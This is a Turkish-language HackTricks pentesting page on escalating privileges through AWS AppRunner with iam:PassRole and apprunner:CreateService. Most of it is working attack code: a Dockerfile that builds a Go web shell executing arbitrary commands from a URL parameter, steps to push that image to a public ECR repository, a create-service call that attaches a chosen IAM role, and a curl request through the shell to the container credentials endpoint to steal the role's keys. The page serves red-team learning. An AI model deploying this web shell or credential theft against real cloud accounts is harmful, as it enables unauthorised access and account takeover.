AWS - AppRunner Privesc

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

AppRunner

iam:PassRole, apprunner:CreateService

Bu izinlere sahip bir saldırgan, iliştirilmiş bir IAM rolüyle birlikte bir AppRunner servisi oluşturabilir ve rolün kimlik bilgilerine erişerek ayrıcalıkları yükseltebilir.

Saldırgan önce AppRunner konteynerinde rastgele komutlar çalıştırmak için bir web shell işlevi gören bir Dockerfile oluşturur.

FROM golang:1.24-bookworm
WORKDIR /app
RUN apt-get update && apt-get install -y ca-certificates curl
RUN cat <<'EOF' > main.go
package main

import (
"fmt"
"net/http"
"os/exec"
)

func main() {
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
command := exec.Command("sh", "-c", r.URL.Query().Get("cmd"))
output, err := command.CombinedOutput()
if err != nil {
fmt.Fprint(w, err.Error(), output)
return
}

fmt.Fprint(w, string(output))
})
http.ListenAndServe("0.0.0.0:3000", nil)
}
EOF
RUN go mod init test && go build -o main .
EXPOSE 3000
CMD ["./main"]

Sonra, bu image’ı bir ECR repository’sine push edin. Attacker tarafından kontrol edilen bir AWS hesabındaki public repository’ye image’ı push etmek, victim’in hesabının ECR’i manipulate etme permissions’ı olmasa bile privilege escalation’a olanak tanır.

IMAGE_NAME=public.ecr.aws/<alias>/<namespace>/<repo-name>:latest
docker buildx build --platform linux/amd64 -t $IMAGE_NAME .
aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws
docker push $IMAGE_NAME
docker logout public.ecr.aws

Sonra, saldırgan bu web shell image ve istismar etmek istediği IAM Role ile yapılandırılmış bir AppRunner servisi oluşturur.

aws apprunner create-service \
--service-name malicious-service \
--source-configuration '{
"ImageRepository": {
"ImageIdentifier": "public.ecr.aws/<alias>/<namespace>/<repo-name>:latest",
"ImageRepositoryType": "ECR_PUBLIC",
"ImageConfiguration": { "Port": "3000" }
}
}' \
--instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \
--query Service.ServiceUrl

Servis oluşturma tamamlandıktan sonra, web shell’i kullanarak container kimlik bilgilerini alın ve AppRunner’a bağlı IAM Role ile ilişkili izinleri elde edin.

curl 'https://<service-url>/?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'

Potansiyel Etki: AppRunner services’e atanabilecek herhangi bir IAM role üzerinde doğrudan privilege escalation.

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin